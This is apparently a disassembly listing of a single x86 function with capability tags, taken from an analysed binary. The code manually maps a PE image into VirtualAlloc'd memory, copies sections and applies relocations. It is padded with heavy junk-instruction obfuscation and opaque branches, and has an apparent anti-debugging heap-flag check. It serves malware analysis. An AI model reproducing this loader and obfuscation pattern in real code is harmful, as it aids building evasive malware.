Function at 0x403aa0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [ebp + 8]
vmovss xmm0, dword [0x4181b4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181b0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181ac]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403ae5
jmp 0x403aff
vmovss xmm0, dword [0x4181bc]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181b8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181c0]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b1b
jmp 0x403b35
vmovss xmm0, dword [0x4181c8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181c4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181cc]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b51
jmp 0x403b6b
vmovss xmm0, dword [0x4181d4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181d0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181d8]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b87
jmp 0x403ba1
vmovss xmm0, dword [0x4181e0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181dc]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181e4]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403bbd
jmp 0x403bd7
vmovss xmm0, dword [0x4181ec]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181e8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181f8]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181f4]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181f0]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c0d
jmp 0x403c27
vmovss xmm0, dword [0x418200]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181fc]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418204]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c43
jmp 0x403c5d
vmovss xmm0, dword [0x41820c]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418208]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418210]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c79
jmp 0x403c93
vmovss xmm0, dword [0x418218]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418214]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41821c]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403caf
jmp 0x403cc9
vmovss xmm0, dword [0x418224]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418220]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418228]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403ce5
jmp 0x403cff
vmovss xmm0, dword [0x418230]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41822c]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41823c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418238]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418234]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403d35
jmp 0x403d4f
vmovss xmm0, dword [0x418244]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418240]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418248]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403d6b
jmp 0x403d85
vmovss xmm0, dword [0x418250]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41824c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418254]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403da1
jmp 0x403dbb
vmovss xmm0, dword [0x41825c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418258]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418260]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403dd7
jmp 0x403df1
vmovss xmm0, dword [0x418268]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418264]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41826c]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403e0d
jmp 0x403e27
vmovss xmm0, dword [0x418274]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418270]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418280]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41827c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418278]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403e5d
jmp 0x403e77
vmovss xmm0, dword [0x418288]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418284]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41828c]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403e93
jmp 0x403ead
vmovss xmm0, dword [0x418294]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418290]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418298]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403ec9
jmp 0x403ee3
vmovss xmm0, dword [0x4182a0]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41829c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182a4]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403eff
jmp 0x403f19
vmovss xmm0, dword [0x4182ac]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182a8]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182b0]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403f35
jmp 0x403f4f
vmovss xmm0, dword [0x4182b8]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182b4]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182c4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182c0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182bc]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x403f85
jmp 0x403f9f
vmovss xmm0, dword [0x4182cc]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182c8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182d0]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x403fbb
jmp 0x403fd5
vmovss xmm0, dword [0x4182d8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182d4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182dc]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x403ff1
jmp 0x40400b
vmovss xmm0, dword [0x4182e4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182e0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182e8]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x404027
jmp 0x404041
vmovss xmm0, dword [0x4182f0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182ec]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182f4]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x40405d
jmp 0x404077
vmovss xmm0, dword [0x4182fc]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182f8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x418308]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418304]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418300]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4040ad
jmp 0x4040c7
vmovss xmm0, dword [0x418310]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41830c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418314]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4040e3
jmp 0x4040fd
vmovss xmm0, dword [0x41831c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418318]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418320]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x404119
jmp 0x404133
vmovss xmm0, dword [0x418328]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418324]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41832c]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x40414f
jmp 0x404169
vmovss xmm0, dword [0x418334]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418330]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418338]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x404185
jmp 0x40419f
vmovss xmm0, dword [0x418340]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41833c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41834c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418348]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418344]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4041d5
jmp 0x4041ef
vmovss xmm0, dword [0x418354]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418350]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418358]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x40420b
jmp 0x404225
vmovss xmm0, dword [0x418360]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41835c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418364]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x404241
jmp 0x40425b
vmovss xmm0, dword [0x41836c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418368]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418370]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x404277
jmp 0x404291
vmovss xmm0, dword [0x418378]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418374]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41837c]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4042ad
jmp 0x4042c7
vmovss xmm0, dword [0x418384]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418380]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418390]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41838c]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x418388]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x4042fd
jmp 0x404317
vmovss xmm0, dword [0x418398]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x418394]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41839c]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x404333
jmp 0x40434d
vmovss xmm0, dword [0x4183a4]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183a0]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183a8]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x404369
jmp 0x404383
vmovss xmm0, dword [0x4183b0]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183ac]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183b4]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x40439f
jmp 0x4043b9
vmovss xmm0, dword [0x4183bc]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183b8]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183c0]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x4043d5
jmp 0x4043ef
vmovss xmm0, dword [0x4183c8]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183c4]
vmovss dword [ebp - 0x30], xmm0
inc edi
sub edx, 0x1b
dec esi
sbb esi, 0x7d
add ebx, 0x73
mov eax, 0xc6
sub eax, 0x74
bswap esi
inc eax
neg esi
imul edi
and edi, 0x74
or ebx, 0xa5
inc esi
not esi
sub eax, 0x8e
not esi
neg eax
rcr eax, 0x49
ror eax, 6
neg edx
rol edx, 0x64
ror esi, 0x5a
sub esi, 0xa7
bswap edx
dec ebx
dec edx
imul ebx
mov esi, 0x26
sub eax, 0x2e
rcr eax, 0xd2
mov edx, 0x2d
sub edx, 0x3e
neg esi
rcl esi, 0x48
and esi, 0xb1
or edi, 0x7f
dec ebx
not edx
neg edi
rcl edx, 0xca
bswap ebx
and esi, 0xed
or eax, 0xb3
rol eax, 0x93
mov edi, 6
not esi
and edi, 0x39
neg edi
bswap ebx
dec eax
sbb edx, 0xe9
imul edx
dec eax
imul eax
ror esi, 0x98
neg edi
ror edx, 0xd7
imul edi
bswap edx
bswap edi
sbb esi, 0x91
rol ebx, 0x60
sbb edx, 0x9b
add esi, 0xb5
neg eax
mov edi, 0x5d
not edi
inc edx
imul ebx
inc eax
sub edx, 0x63
dec edi
imul edx
sub edi, 0x53
rcr ebx, 0x39
imul edx
not edi
neg eax
rcr eax, 0xa0
imul eax
neg edi
sub ebx, 0xa1
neg ebx
rcl esi, 0x59
imul edi
dec edi
sub edx, 0x37
imul edi
bswap edi
rcl edx, 0x29
dec eax
or edi, 0x9a
not edi
neg esi
bswap eax
neg eax
not esi
bswap edi
bswap ebx
neg eax
sbb ebx, 0x93
not eax
sub edi, 0xc2
neg edi
sub eax, 0xa4
bswap ebx
inc edi
inc esi
dec eax
dec eax
or esi, 0x73
inc edi
and eax, 0xae
sbb edi, 0x40
imul ebx
neg ebx
sub edx, 0xbb
inc ebx
rol eax, 0x2e
imul ebx
bswap edi
rcl ebx, 0xca
not edx
rcr esi, 0x7c
neg esi
mov esi, 0x2b
dec ebx
not eax
add edx, 0x61
rcr eax, 0x63
neg edx
ror eax, 0xd9
add esi, 0x4f
sbb ebx, 0x5a
or ebx, 0x89
not ebx
sub esi, 0xdc
sub eax, 0xb5
imul ebx
or edi, 0x1d
and esi, 0xa2
rol edi, 0x20
inc eax
mov ebx, 0xfe
add edi, 0xc0
imul ebx
bswap edx
sub edx, 0x82
bswap eax
neg eax
inc ebx
rcr edx, 0x58
not ebx
not eax
dec edi
rcr edx, 0x9f
add esi, 0x93
bswap eax
mov edx, 0xaf
neg eax
imul eax
imul eax
inc ebx
rcr ebx, 0x6a
not esi
rcr eax, 0xca
rol ebx, 0xc5
bswap eax
or esi, 0xf5
not edx
not eax
neg edx
mov edx, 0x8a
sub esi, 0xe1
rcr eax, 0x18
bswap esi
rol ebx, 0x30
imul esi
not edx
sbb esi, 6
bswap eax
not ebx
bswap edx
not esi
dec edx
neg eax
bswap eax
inc eax
inc edi
ror edx, 0xa
sub edi, 0xf5
rcl esi, 0xf
dec eax
ror ebx, 0xbd
rcl ebx, 0xa5
rcr eax, 0xa0
neg ebx
rcr edi, 0xf
or edi, 0xa1
mov dword [ebp - 0x10], eax
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x28e00
call fcn.00403840
lea eax, section..data
mov dword [ebp + 8], eax
dec edx
sbb esi, 0x55
inc ebx
bswap ebx
bswap esi
dec edx
ror esi, 0x25
and edx, 0xcd
dec edi
sub edx, 0x7b
rcr eax, 0xea
neg edi
imul esi
imul ebx
add edx, 0x96
sbb esi, 0xcd
rol eax, 0x4c
sbb edx, 0xdc
or esi, 0x2a
ror eax, 0x3f
and edi, 0x85
mov eax, 0xf5
bswap ebx
imul eax
not edx
imul esi
bswap edi
add edx, 0xea
and eax, 0xc9
mov ebx, 0x39
inc eax
and ebx, 0x9f
mov edi, 0x46
imul ebx
or edx, 0xf8
rcl edi, 0x69
mov esi, 0x30
imul edi
rol ebx, 0x70
or edi, 0xc9
sub eax, 0xfc
rol eax, 0x4e
dec ebx
add edx, 0x7e
sbb esi, 0x15
rol ebx, 0x9f
add ebx, 0x63
mov edx, 0x4c
not edi
neg esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp dword [eax], 0x4550
je 0x404714
mov dword [ebp - 0x10], 1
jmp 0x405b12
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x40], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x3c], 0
je 0x40474c
xor eax, eax
mov dword [ebp - 0x138], eax
jmp 0x404758
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x138]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x3c], 0
jne 0x4047ac
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x4047ac
mov dword [ebp - 0x10], 2
jmp 0x405b12
ror esi, 0x42
rol edi, 0x50
bswap edi
mov edx, 0x4c
not edi
inc edx
or esi, 0xa7
dec edi
sub edi, 0x6e
ror eax, 0x58
ror edx, 0x36
dec eax
bswap edi
bswap edx
bswap eax
not ebx
rol edi, 0xde
rol edx, 3
bswap ebx
inc edx
rcr eax, 0xd1
rol edx, 0xe9
not eax
bswap edx
not edx
rcl esi, 0xfe
not ebx
sub ebx, 0x81
and edi, 0xcc
dec edi
mov edi, 0xdb
rcr eax, 0xfe
bswap edx
mov edx, 0x15
rcr edi, 0xaa
imul ebx
or ebx, 0xca
not ebx
neg ebx
imul edi
sub eax, 0x38
bswap esi
or edx, 0xde
bswap edi
bswap esi
sub eax, 0x8b
imul edi
neg esi
bswap edx
not eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x44]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00403a70
dec edi
inc ebx
sub ebx, 0xc1
bswap edx
neg edx
dec edi
neg edx
rcr ebx, 0x77
imul edx
inc eax
not edi
imul eax
ror eax, 0x5f
imul esi
imul esi
mov edx, 0xf
neg eax
rcr esi, 0xab
add esi, 0x7e
neg esi
sbb edx, 0x2c
neg edx
imul eax
neg esi
or eax, 0x14
bswap esi
dec esi
mov edx, 0x9e
ror eax, 0xe0
inc ebx
bswap edi
neg edi
sbb ebx, 0xaa
neg edi
not eax
neg esi
sub edi, 9
and esi, 0xc3
neg esi
neg edx
mov esi, 0xa8
and edx, 0x44
dec ebx
neg ebx
bswap edx
imul eax
dec ebx
dec edx
mov edx, 0xa4
inc esi
not edx
ror edi, 0x39
neg edx
dec eax
rol edx, 0x9b
or edx, 0x59
sbb ebx, 0xe8
imul eax
sbb edx, 0x5b
add esi, 0x84
dec eax
and edi, 5
dec edx
or edx, 0x54
neg eax
imul ebx
inc esi
rcr ebx, 1
dec esi
and eax, 0xdb
not ebx
sbb ebx, 0x41
inc ebx
rol eax, 0x9a
not ebx
rol edi, 0x16
mov edi, 0x28
neg eax
ror ebx, 0x94
neg esi
bswap ebx
rcr ebx, 0xe8
ror ebx, 0xa0
and eax, 0x8b
add eax, 0xc8
imul eax
ror ebx, 2
neg eax
inc edi
neg edi
bswap esi
imul ebx
sbb esi, 0x9c
bswap edx
or esi, 7
sbb edi, 0x29
mov eax, 0x81
neg eax
bswap eax
dec ebx
or eax, 0x34
rcr edx, 0x28
rcl esi, 0xdd
rcr ebx, 0x8f
inc edi
neg edi
or esi, 0xd0
ror edx, 0x54
not esi
imul edx
not eax
not eax
bswap edx
ror esi, 0xc1
inc edx
neg esi
mov esi, 0x25
rcl eax, 0xfe
rcl esi, 0xa9
mov eax, 0x29
ror esi, 0x1a
or esi, 0xb9
add ebx, 0x86
add esi, 0xf5
rol edx, 0x9b
sbb esi, 0x1e
neg esi
mov edx, 0x54
not eax
add edi, 0x7a
neg eax
inc edi
sbb eax, 0xe0
or edx, 0xf3
bswap edi
dec ebx
sbb edx, 0xb3
and edx, 0x9a
bswap edi
not eax
sbb edx, 0x98
mov esi, 0xb9
inc ebx
or ebx, 0xcf
bswap edx
add ebx, 0x9e
inc eax
dec edx
mov esi, 0x4a
imul eax
sbb edi, 0x55
not ebx
add eax, 0x1d
rcr esi, 3
inc edx
sbb edi, 0x43
and edi, 0x1a
dec eax
inc ebx
add edi, 0xab
not edi
or eax, 0x20
add ebx, 0xe4
neg eax
bswap edx
imul esi
dec edi
bswap eax
sbb eax, 0x98
neg eax
bswap esi
neg edx
imul ebx
dec edi
and edi, 0x14
sub eax, 0x90
and edi, 0x17
dec edx
neg esi
inc ebx
inc esi
neg edi
and esi, 0xbb
sub edx, 0xf3
not edx
imul ebx
ror edi, 0x23
dec edi
rol edx, 0xd4
and ebx, 0xda
sub esi, 0xc2
neg edx
ror eax, 5
dec edx
sbb edi, 0xab
sub ebx, 0x55
sub esi, 0xca
rcr edx, 0x39
inc esi
not esi
inc edi
inc esi
rol edx, 0x5d
rcl esi, 0xfc
mov esi, 0x99
dec ebx
rcr eax, 0xd3
add edx, 0xc2
add esi, 0xd9
dec ebx
not esi
bswap esi
rcl eax, 0xdc
dec edi
add esi, 0x1d
dec edx
rcr edi, 0x76
ror edx, 0x59
neg edi
neg edi
imul ebx
rcr eax, 0xc6
dec esi
not edx
imul ebx
mov esi, 0x19
not edi
bswap ebx
add ebx, 0xbe
dec edx
sub edx, 0x78
dec ebx
and esi, 0x10
ror edx, 0x5b
not edx
imul edi
ror esi, 0x75
rcr edx, 0x24
not eax
imul esi
neg edx
rol eax, 0xb3
add esi, 0x69
add ebx, 0xc5
dec ebx
neg ebx
imul ebx
and esi, 0xed
add eax, 2
neg edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
add eax, 0x18
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x404b7f
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x4c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x48]
imul esi, dword [ebp - 0x4c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x48]
imul edi, dword [ebp - 0x4c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00403a70
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
jmp 0x404b25
add edi, 0xde
inc esi
or eax, 0xca
dec edx
not ebx
rcr edi, 0xda
sbb eax, 0x1c
imul eax
and edx, 0xfa
or eax, 0xf7
not edi
rcr esi, 0xd4
dec esi
rcl eax, 0xf4
add edi, 0x8a
dec ebx
not eax
rcl edi, 0x14
sub edi, 0x82
mov edx, 0x9a
and ebx, 0xe9
inc ebx
not edi
and edx, 0x7e
inc ebx
inc eax
rcr edi, 0x4d
dec edi
rcl edx, 0x7a
add edx, 0x1e
rol esi, 0x6d
imul ebx
inc esi
imul ebx
bswap edi
dec esi
add eax, 0xab
dec edx
inc esi
neg ebx
dec edx
and eax, 0x4c
or eax, 0x83
imul edi
bswap esi
and ebx, 3
sub eax, 0x96
rol edx, 0x44
rcr edi, 0x84
not edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x404cd9
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x3c]
jae 0x404cd4
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x54]
add eax, 8
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x60]
jge 0x404cbd
mov eax, dword [ebp - 0x64]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x404ca6
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x64]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
add eax, 2
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
jmp 0x404c6d
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x54], eax
jmp 0x404c38
jmp 0x404cd9
neg ebx
add esi, 0x79
rcr edi, 0x15
neg edx
imul edi
not eax
mov edi, 0xc3
rol esi, 0x4e
imul edi
dec edx
imul esi
imul eax
imul edx
dec ebx
mov ebx, 0xa9
inc ebx
sbb edi, 0xc8
add edi, 0x79
neg edx
dec esi
add ebx, 0x3a
rol eax, 0x31
not edx
not edx
bswap eax
mov eax, 0x49
not esi
dec esi
bswap edx
and edx, 0xcb
bswap eax
rcl edi, 0xf2
neg esi
dec eax
mov ebx, 0x8d
sub edi, 0xd0
bswap ebx
imul eax
sub edi, 0x94
imul esi
inc edx
neg ebx
dec esi
not ebx
neg edx
or esi, 0xcc
bswap eax
neg eax
rcl edi, 0xd8
sub edi, 0x86
ror eax, 8
bswap eax
ror ebx, 0x2c
neg edi
or esi, 0x2a
sub esi, 0xa0
mov ebx, 0xac
and edx, 0x86
dec edx
neg eax
rol edi, 0xa6
dec eax
sbb ebx, 0x55
inc eax
or eax, 0xe1
rcr edi, 2
inc eax
add edx, 0xae
bswap edx
bswap eax
neg edx
mov edi, 0x3d
not edi
inc edi
rcr edx, 0xcb
not eax
ror edx, 0x88
bswap eax
rcr eax, 0xb6
rcr edx, 0xdc
rcl eax, 0xcb
mov esi, 0x3a
neg edi
or edx, 0xf4
imul edx
imul eax
not ebx
inc edi
or eax, 0x58
ror ebx, 0xa0
inc ebx
dec esi
rcr eax, 0xcf
imul eax
bswap eax
and eax, 0xfd
and edx, 7
imul edx
bswap eax
inc eax
imul eax
ror esi, 0xe7
and ebx, 0x44
mov edi, 0xe4
neg edi
inc edx
dec edx
and ebx, 0x19
add esi, 0xe5
and edx, 0xfc
sub esi, 0x63
rol edi, 0xbd
dec edx
not ebx
neg eax
rcl edx, 0x9c
not esi
add eax, 0x88
inc ebx
mov ebx, 0xe1
neg esi
inc ebx
neg edx
ror edx, 0xdb
sbb edx, 0xe
imul eax
dec edx
ror esi, 0x3e
bswap eax
or esi, 0x58
bswap eax
add eax, 0xd0
inc eax
imul edx
imul eax
add esi, 0xc5
rol esi, 0x71
inc ebx
rcl esi, 0x74
rcl ebx, 0x53
rol edx, 0x17
rcl esi, 0x21
mov edi, 0x12
neg esi
